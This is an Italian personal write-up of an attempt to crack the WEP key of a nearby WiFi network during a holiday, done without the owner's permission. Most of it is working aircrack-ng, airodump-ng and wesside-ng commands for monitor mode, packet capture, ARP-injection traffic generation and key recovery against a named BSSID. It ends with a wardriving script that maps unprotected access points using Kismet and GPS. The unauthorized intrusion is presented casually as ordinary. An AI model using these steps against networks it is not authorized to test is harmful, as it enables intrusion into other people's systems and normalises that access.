Table of Contents

Craccare la chiave WEP di una WiFi

Appunti di un tentativo (fallito) di craccare una connessione WiFi protetta da chiave WEP.

La teoria dice che la chiave WEP è craccabile facilmente, nel senso che non è necessario l'attacco a forza bruta, quindi anche password difficili vengono individuate in poco tempo. Ecco il resoconto di un caso reale.

Vacanze estive in Croazia, appartamento sul mare, netbook Asus EeePC 900, due canali WiFi comodamente agganciabili dal salotto, semplice protezione WEP. Poiché nelle vicinanze non esistono Internet point, decido di tentare il crack.

Di quel poco che ho studiato mi ricordo che l'attacco si basa sullo sniffare una quantità sufficiente di traffico criptato e su quello eseguire uno speciale algoritmo di crittoanalisi. Il software aircrack dovrebbe provvedere tutto il necessario.

Installato i pacchetti Debian aircrack-ng e kismet, quest'ultimo consente di vedere in tempo reale il traffico WiFi captato.

Moduli kernel

Pare - per fortuna - che i moduli kernel per EeePC forniti dal pacchetto madwifi-modules-2.6.26-2-686 (moduli speciali compilati per EeePC, disponibili su eeepc.debian.net) forniscano il supporto alla modalità monitor e al packet injection per il chip WiFI Atheros contenuto nell'Asus.

Interfaccia in modo monitor

Il chip Atheros viene visto dal kernel come interfaccia wifi0, su questa possono essere attivate una o più VAP (access point o stazioni virtuali). Al normale avvio dell'Asus troviamo attiva l'interfaccia ath0, configurata in modo managed (detto anche modo station).

Per attivare un'interfaccia in modo monitor (che consenta lo sniffing del traffico WiFi) diamo come root i seguenti comandi:

killall knetworkmanager
wlanconfig ath0 destroy
airmon-ng start wifi0

Come si vede la prima azione è di chiudere il networkmanager (in questo caso quello di KDE), che altrimenti si ostina a gestire il WiFi, fare scanning degli AP disponibili, ecc. Poi eliminiamo la normale interfaccia ath0 che dice possa dare fastidio durante il monitoraggio. Infine con il comando airmon-ng attiviamo una nuova interfaccia ath1 in modalità monitor.

Se invece vogliamo usare Kismet la procedura iniziale è leggermente diversa perché Kismet provvede autonomamente a creare un'interfaccia monitor, chiamandola kis0:

killall knetworkmanager
wlanconfig ath0 destroy
kismet

Nel file di configurazione /etc/kismet/kismet.conf abbiamo messo:

source=madwifi_ab,wifi0,wifi0

Al termine delle operazioni di scanning, se volgiamo creare nuovamente l'interfaccia WiFi managed, questo è il comando:

wlanconfig ath0 create wlandev wifi0
iwconfig ath0 mode managed

Cattura del traffico criptato

A questo punto si inizia l'analisi del traffico WiFi con il programma airodump-ng. Utilizzare l'interfaccia ath1 oppure kis0, a seconda del caso:

airodump-ng -w wifidump kis0

In un'altra console ogni tanto si verifica quanto traffico WiFi è stato catturato, in particolare interessa il numero di pacchetti WEP:

airdecap-ng -b 00:41:14:5F:43:12 wifidump-01.cap
Total number of packets read         22708
Total number of WEP data packets      1635
Total number of WPA data packets         0
Number of plaintext data packets         0
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets         0

Con il parametro -b abbiamo filtrato solo il traffico proveniente dall'access point che ci interessa.

Il risultato di soli 1635 pacchetti in una intera notte è estremamente deludente: servono tra i 50000 e i 100000 pacchetti criptati prima di tentare la forzatura della chiave WEP. Il problema è che l'access point non aveva client collegati che facessero traffico.

Infatti il tentativo di forzatura fallisce:

aircrack-ng -a wep -n 128 -b 00:41:14:5F:43:12 wifidump-01.cap

È necessario ricorrere a un trucco: bisogna inviare dei falsi pacchetti ARP request, ai quali l'access point risponderà con altrettanti pacchetti ARP reply. Sfrutteremo questo sistema per generare traffico sufficiente per condurre l'attacco. Fermiamo il programma airodump-ng e lanciamo invece wesside-ng:

wesside-ng -v 00:41:14:5F:43:12 -i kis0

In questo modo siamo riusciti ad ottenere quasi 50000 pacchetti WEP in circa 20 ore di attacco. Purtroppo anche con 50000 pacchetti il tentativo di crack è fallito!

Come dovrebbe funzionare

Per vedere come avviene il crack, generiamo un falso dump di pacchetti WEP ed eseguiamo aircrack-ng su di esso:

makeivs-ng -b 00:41:14:5F:43:12 -w wififakedump.ivs -k 011ab5634e357cbaca9a4b3b2b5 -c 50000
aircrack-ng -a wep -n 128 -b 00:41:14:5F:43:12 wififakedump.ivs

Il comando makeivs-ng genera pacchetti WiFi contenenti gli IV (initialization vector) utili al crack. dagli esperimenti fatti il crack funziona se si hanno oltre 50000 pacchetti IV.

Se si hanno a disposizione diversi file .cap è possibile estrarre tutti i pacchetti contenenti gli IV e concatenare i file in uno solo:

ivstools --convert file.cap file.ivs
ivstools --merge file*.ivs singlefile.ivs

Come è finita

Dopo tre giorni di tentativi infruttuosi, il proprietario dell'appartamento mi ha chiesto se per caso avevo bisogno dell'accesso internet, visto che al piano di sotto aveva l'ADSL con il router WiFi acceso…

La cosa che mi ha lasciato di sasso è che la password (128 bit) erano 13 semplici cifre, che aircrack-ng non riesce a trovare neanche con l'opzione -c (search alpha-numeric characters only).

Per verificare la correttezza del mio operato ho controllato che i pacchetti WEP fossero davvero criptati con tale chiave, suggerendo ad aircrack-ng gli ultimi 12 caratteri della stessa (tutti tranne il primo!):

aircrack-ng -b 00:41:14:5F:43:12 -d XX:38:32:37:32:36:36:39:37:33:34:35:31 wifidump-01.cap

In questo caso aircrack-ng è stato in grado di verificare la chiave e trovare il byte mancante.

In conclusione - contrariamente a quanto si legge - craccare una chiave WEP non è lavoro da compiere in modo estemporaneo, ma richiede un po' di impegno.

Mappa wardriving

Alla ricerca di un access point libero abbiamo sfruttato anche le capacità di Kismet unite ad un GPS.

Dopo aver configurato gpsd con il ricevitore GPS iBlue 747 USB, configuriamo Kismet agggiungendo nel file di configurazione:

gps=true
gpshost=localhost:2947

Avviamo Kismet e partiamo per un giro di wardriving. Al rientro controlliamo il file di log creato da Kismet, ci dovrebbero essere dei file in /var/log/kismet/, in particolare i file .csv e .gps servono al caso nostro.

Con un po' di Python o Perl estraiamo dal .csv l'elenco (BSSID) degli access point senza protezione (campo 8 = None) e lo salviamo in un file di nome wifi-open.

Poi lanciamo il comando gpsmap con questo script:

#!/bin/sh
log_file="/var/log/kismet/Kismet-Aug-13-2009-11.gps"
center="--coords 43.5123,16.2804"
scale="--scale 2000"
MAC_LIST=""
for mac in $(cat wifi-open); do
    if [ -z "$MAC_LIST" ]; then
        MAC_LIST="$mac"
    else
        MAC_LIST="$MAC_LIST,$mac"
    fi
done
gpsmap \
    $center $scale \
    --draw-track --draw-range --feather-range \
    --filter $MAC_LIST --invert-filter \
    -l ssid \
    $log_file